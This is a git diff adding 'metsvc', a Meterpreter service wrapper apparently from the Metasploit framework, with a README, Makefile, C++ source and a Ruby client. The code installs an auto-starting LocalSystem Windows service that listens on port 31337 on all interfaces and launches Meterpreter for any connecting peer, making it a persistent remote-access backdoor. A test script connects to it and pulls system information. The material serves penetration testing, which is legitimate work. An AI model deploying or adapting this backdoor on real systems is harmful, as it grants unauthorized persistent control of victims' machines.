diff --git a/external/source/metsvc/ChangeLog.txt b/external/source/metsvc/ChangeLog.txt new file mode 100644 index 0000000000..4dc9400e3e --- /dev/null +++ b/external/source/metsvc/ChangeLog.txt @@ -0,0 +1,3 @@ +29 May 2007 metsvc-1.0 + + * Initial public release diff --git a/external/source/metsvc/README.txt b/external/source/metsvc/README.txt new file mode 100644 index 0000000000..225d829dcc --- /dev/null +++ b/external/source/metsvc/README.txt @@ -0,0 +1,52 @@ +Meterpreter Service 1.0 + + by Alexander Sotirov + + +This is a network service wrapper for the Meterpreter. It can be used as a +Windows service, or run as a command line application. + +Compilation: + + You'll need GNU make and Visual C++. Go to the src directory and run make. + +Installation: + + 1. Copy metsvc.exe and metsvc-server.exe from the current directory to + the installation directory. + + 2. Copy metsrv.dll from Metasploit to the installation directory. + + 3. To register the Meterpreter as a windows service, go to the + installation directory and run: + + metsvc.exe install-service + +Running: + + If you registered the the Meterpreter as a Windows service, it will start + automatically. + + Otherwise, you have to start it manually by running metsvc.exe + + +Uninstallation: + + If you registered the Meterpreter as a Windows service, you need to stop it + and remove the service by running: + + metsvc.exe remove-service + + Then simply delete all files. + +Using: + + Use test.rb to connect to the Meterpreter and run the sysinfo command: + + $./test.rb 192.168.70.12 31337 + + * Initializing Meterpreter + * Loading Stdapi + * System info: + {"OS"=>"Windows XP (Build 2600, Service Pack 2).", "Computer"=>"VM-WINXPPRO"} + * Closing socket diff --git a/external/source/metsvc/VERSION b/external/source/metsvc/VERSION new file mode 100644 index 0000000000..d3827e75a5 --- /dev/null +++ b/external/source/metsvc/VERSION @@ -0,0 +1 @@ +1.0 diff --git a/external/source/metsvc/src/Makefile b/external/source/metsvc/src/Makefile new file mode 100644 index 0000000000..a2994d1663 --- /dev/null +++ b/external/source/metsvc/src/Makefile @@ -0,0 +1,27 @@ +# vim: set noexpandtab: + +CC := cl + +CFLAGS := /nologo +LDFLAGS := /nologo + +PROGRAMS := metsvc.exe metsvc-server.exe +SCRIPTS := install.bat + +SOURCES := $(patsubst %.exe,%.cpp,$(PROGRAMS)) +OBJECTS := $(patsubst %.exe,%.obj,$(PROGRAMS)) + +GENERATED := vc??.pdb + +build: $(PROGRAMS) + +metsvc.exe: metsvc.cpp metsvc.h + $(CC) $(CFLAGS) $< /link $(LDFLAGS) /OUT:$@ ws2_32.lib advapi32.lib + +metsvc-server.exe: metsvc-server.cpp metsvc.h + $(CC) $(CFLAGS) $< /link $(LDFLAGS) /OUT:$@ ws2_32.lib + +clean: + rm -f $(PROGRAMS) $(OBJECTS) $(GENERATED) + +.PHONY: build install clean diff --git a/external/source/metsvc/src/metsvc-server.cpp b/external/source/metsvc/src/metsvc-server.cpp new file mode 100644 index 0000000000..c69691f816 --- /dev/null +++ b/external/source/metsvc/src/metsvc-server.cpp @@ -0,0 +1,77 @@ +/* Copyright (c) 2007, Determina Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Determina Inc. nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include + +#include "metsvc.h" + +typedef DWORD (*init_fn)(SOCKET fd); + +int main(int argc, char **argv) +{ + HMODULE lib; + init_fn init; + WSADATA wsa_data; + SOCKET sock = INVALID_SOCKET; + + // The socket is passed as the first argument on the command line + + if (argc != 2) + goto cleanup; + + sock = atoi(argv[1]); + + // Initialize Winsock + + if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0) + goto cleanup; + + // Load the Meterpreter DLL and get the address of the Init function + + if ((lib = LoadLibrary(METSRV_DLL)) == NULL) + goto cleanup; + + if ((init = (init_fn)GetProcAddress(lib, "Init")) == NULL) + goto cleanup; + + // Start the Meterpreter + + __try { + init(sock); + } __except(EXCEPTION_EXECUTE_HANDLER) { + closesocket(sock); + return 0; + } + +cleanup: + if (sock != INVALID_SOCKET) + closesocket(sock); + + return 0; +} diff --git a/external/source/metsvc/src/metsvc.cpp b/external/source/metsvc/src/metsvc.cpp new file mode 100644 index 0000000000..100a942f3a --- /dev/null +++ b/external/source/metsvc/src/metsvc.cpp @@ -0,0 +1,486 @@ +/* Copyright (c) 2007, Determina Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Determina Inc. nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include +#include + +#include "metsvc.h" + +// +// Globals +// + +SERVICE_STATUS status; +SERVICE_STATUS_HANDLE hStatus; + +// +// Listen for incoming connections and start the Meterpreter +// + +int start_meterpreter() +{ + SOCKET sock = INVALID_SOCKET; + DWORD err = 0; + + // Get the current module directory + + char path[MAX_PATH]; + char* p; + + if (GetModuleFileName(NULL, path, sizeof(path)) == 0) { + err = GetLastError(); + printf("Cannot get module file name (0x%08x)\n", err); + goto cleanup; + } + + if ((p = strrchr(path, '\\')) == NULL) { + err = -1; + printf("Cannot find directory in module name %s (0x%08x)\n", path, err); + goto cleanup; + } + + *p = '\0'; + + // Build the server filename + + if (sizeof(path) - strlen(path) < sizeof(METSVC_SERVER)+1) { + err = -1; + printf("Cannot build server filename (0x%08x)\n", err); + goto cleanup; + } + + strncat(path, "\\", 1); + strncat(path, METSVC_SERVER, sizeof(METSVC_SERVER)-1); + + // Initialize Winsock + + WSADATA wsa_data; + + err = WSAStartup(MAKEWORD(2, 2), &wsa_data); + if (err != 0) { + printf("Cannot initialize Winsock (0x%08x)\n", err); + goto cleanup; + } + + // Create socket + + if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { + err = WSAGetLastError(); + printf("Cannot create socket (0x%08x)\n", err); + goto cleanup; + } + + // Bind to 0.0.0.0 + + struct sockaddr_in sockaddr; + + sockaddr.sin_family = AF_INET; + sockaddr.sin_port = htons(PORT); + sockaddr.sin_addr.s_addr = INADDR_ANY; + + if (bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) { + err = WSAGetLastError(); + printf("Cannot bind to port %d (0x%08x)\n", PORT, err); + goto cleanup; + } + + // Listen for incoming connections + + if (listen(sock, SOMAXCONN) == SOCKET_ERROR) { + err = WSAGetLastError(); + printf("Cannot listen for incoming connections (0x%08x)\n", err); + goto cleanup; + } + + printf("Meterpreter service listening on port %d\n", PORT); + fflush(stdout); + + // Accept incoming connections + + while (TRUE) { + + SOCKET conn; + sockaddr_in peer; + int peer_len = sizeof(peer); + + if ((conn = accept(sock, (struct sockaddr*)&peer, &peer_len)) == INVALID_SOCKET) { + if ((err = WSAGetLastError()) == WSAECONNRESET) + continue; + printf("Cannot accept an incomming connection (0x%08x)\n", err); + goto cleanup; + } + + printf("Received connection from %s\n", + inet_ntoa(peer.sin_addr)); + fflush(stdout); + + // Build the metsrv server command line + + char cmd[MAX_PATH]; + int len = _snprintf(cmd, sizeof(cmd), "\"%s\" %d", path, conn); + + if (len < 0 || len == sizeof(cmd)) { + err = -1; + printf("Cannot build the metsrv server command line (0x%08x)\n", err); + goto cleanup; + } + + // Start the metsrv server + + STARTUPINFO startup_info; + PROCESS_INFORMATION process_information; + + ZeroMemory(&startup_info, sizeof(startup_info)); + startup_info.cb = sizeof(startup_info); + + ZeroMemory(&process_information, sizeof(process_information)); + + if (CreateProcess(path, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, + NULL, &startup_info, &process_information) == 0) + { + err = GetLastError(); + printf("Cannot start the metsrv server %s (0x%08x)\n", path, err); + goto cleanup; + } + + // Close our copy of the socket + + closesocket(conn); + } + +cleanup: + + // Cleanup + + if (sock != INVALID_SOCKET) + closesocket(sock); + + return err; +} + + +// +// Process control requests from the Service Control Manager +// + +VOID WINAPI ServiceCtrlHandler(DWORD fdwControl) +{ + switch (fdwControl) { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + status.dwCurrentState = SERVICE_STOPPED; + break; + + default: + break; + } + + if (SetServiceStatus(hStatus, &status) == 0) { + printf("Cannot set service status (0x%08x)\n", GetLastError()); + exit(1); + } + + return; +} + + +// +// Main function of service +// + +VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) +{ + // Register the service handler + + hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); + + if (hStatus == 0) { + printf("Cannot register service handler (0x%08x)\n", GetLastError()); + exit(1); + } + + // Initialize the service status structure + + status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS; + status.dwCurrentState = SERVICE_RUNNING; + status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + status.dwWin32ExitCode = NO_ERROR; + status.dwServiceSpecificExitCode = 0; + status.dwCheckPoint = 0; + status.dwWaitHint = 0; + + if (SetServiceStatus(hStatus, &status) == 0) { + printf("Cannot set service status (0x%08x)\n", GetLastError()); + return; + } + + // Start the Meterpreter + + DWORD err = start_meterpreter(); + + if (err != 0) { + status.dwCurrentState = SERVICE_STOPPED; + status.dwWin32ExitCode = err; + status.dwServiceSpecificExitCode = 0; + + if (SetServiceStatus(hStatus, &status) == 0) { + printf("Cannot set service status (0x%08x)\n", GetLastError()); + } + } + + return; +} + + +// +// Installs and starts the Meterpreter service +// + +BOOL install_service() +{ + SC_HANDLE hSCManager; + SC_HANDLE hService; + + char path[MAX_PATH]; + + // Get the current module name + + if (!GetModuleFileName(NULL, path, MAX_PATH)) { + printf("Cannot get module name (0x%08x)\n", GetLastError()); + return FALSE; + } + + // Build the service command line + + char cmd[MAX_PATH]; + int len = _snprintf(cmd, sizeof(cmd), "\"%s\" service", path); + + if (len < 0 || len == sizeof(cmd)) { + printf("Cannot build service command line (0x%08x)\n", -1); + return FALSE; + } + + // Open the service manager + + hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + + if (hSCManager == NULL) { + printf("Cannot open service manager (0x%08x)\n", GetLastError()); + return FALSE; + } + + printf(" * Installing service %s\n", SERVICE_NAME); + fflush(stdout); + + // Create the service + + hService = CreateService( + hSCManager, + SERVICE_NAME, + DISPLAY_NAME, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + cmd, + NULL, + NULL, + NULL, + NULL, /* LocalSystem account */ + NULL + ); + + if (hService == NULL) { + printf("Cannot create service (0x%08x)\n", GetLastError()); + + CloseServiceHandle(hSCManager); + return FALSE; + } + + // Start the service + + printf(" * Starting service\n"); + fflush(stdout); + + char* args[] = { path, "service" }; + + if (StartService(hService, 2, (const char**)&args) == 0) { + DWORD err = GetLastError(); + + if (err != ERROR_SERVICE_ALREADY_RUNNING) { + printf("Cannot start service %s (0x%08x)\n", SERVICE_NAME, err); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return FALSE; + } + } + + // Cleanup + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + printf("Service %s successfully installed.\n", SERVICE_NAME); + fflush(stdout); + + return TRUE; +} + + +// +// Stops and removes the Meterpreter service +// + +BOOL remove_service() +{ + SC_HANDLE hSCManager; + SC_HANDLE hService; + SERVICE_STATUS status; + DWORD err; + + // Open the service manager + + hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + + if (hSCManager == NULL) { + printf("Cannot open service manager (0x%08x)\n", GetLastError()); + return FALSE; + } + + // Open the service + + hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_STOP | DELETE); + + if (hService == NULL) { + printf("Cannot open service %s (0x%08x)\n", SERVICE_NAME, GetLastError()); + + CloseServiceHandle(hSCManager); + return FALSE; + } + + // Stop the service + + printf(" * Stopping service %s\n", SERVICE_NAME); + fflush(stdout); + + if (ControlService(hService, SERVICE_CONTROL_STOP, &status) == 0) { + err = GetLastError(); + + if (err != ERROR_SERVICE_NOT_ACTIVE) { + printf("Cannot stop service %s (0x%08x)\n", SERVICE_NAME, err); + + CloseServiceHandle(hSCManager); + return FALSE; + } + } + + // Delete the service + + printf(" * Removing service\n"); + fflush(stdout); + + if (DeleteService(hService) == 0) { + printf("Cannot delete service %s (0x%08x)\n", SERVICE_NAME); + + CloseServiceHandle(hSCManager); + return FALSE; + } + + // Cleanup + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + + printf("Service %s successfully removed.\n", SERVICE_NAME); + fflush(stdout); + + return TRUE; +} + + +// +// Start the service +// + +void start_service() +{ + SERVICE_TABLE_ENTRY ServiceTable[] = + { + { SERVICE_NAME, &ServiceMain }, + { NULL, NULL } + }; + + if (StartServiceCtrlDispatcher(ServiceTable) == 0) { + printf("Cannot start the service control dispatcher (0x%08x)\n", + GetLastError()); + exit(1); + } +} + + +// +// Main function +// + +int main(int argc, char *argv[]) +{ + if (argc == 2) { + + if (strcmp(argv[1], "install-service") == 0) { + + // Installs and starts the service + + install_service(); + return 0; + } + else if (strcmp(argv[1], "remove-service") == 0) { + + // Stops and removes the service + + remove_service(); + return 0; + } + else if (strcmp(argv[1], "service") == 0) { + + // Starts the Meterpreter as a service + + start_service(); + return 0; + } + } + + // Starts the Meterpreter as a normal application + + start_meterpreter(); + + return 0; +} diff --git a/external/source/metsvc/src/metsvc.h b/external/source/metsvc/src/metsvc.h new file mode 100644 index 0000000000..1858111d14 --- /dev/null +++ b/external/source/metsvc/src/metsvc.h @@ -0,0 +1,34 @@ +/* Copyright (c) 2007, Determina Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Determina Inc. nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#define PORT 31337 +#define SERVICE_NAME "metsvc" +#define DISPLAY_NAME "Meterpreter" +#define METSVC_SERVER "metsvc-server.exe" +#define METSRV_DLL "metsrv.dll" diff --git a/external/source/metsvc/test.rb b/external/source/metsvc/test.rb new file mode 100755 index 0000000000..8f42cc0f35 --- /dev/null +++ b/external/source/metsvc/test.rb @@ -0,0 +1,34 @@ +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) + +require 'openssl' +require 'rex' + +require 'rex/post/meterpreter' + +ip = ARGV[0] +port = ARGV[1] + +if (ip == nil || port == nil) + puts "Syntax: test.rb \n" + exit +end + +sock = TCPSocket.new(ip, port) + +puts "* Initializing Meterpreter" + +meterp = Rex::Post::Meterpreter::Client.new(sock) + +puts "* Loading Stdapi" + +meterp.core.use('Stdapi') + +puts "* System info:" + +p meterp.sys.config.sysinfo + +puts "* Closing socket" + +meterp.sock.close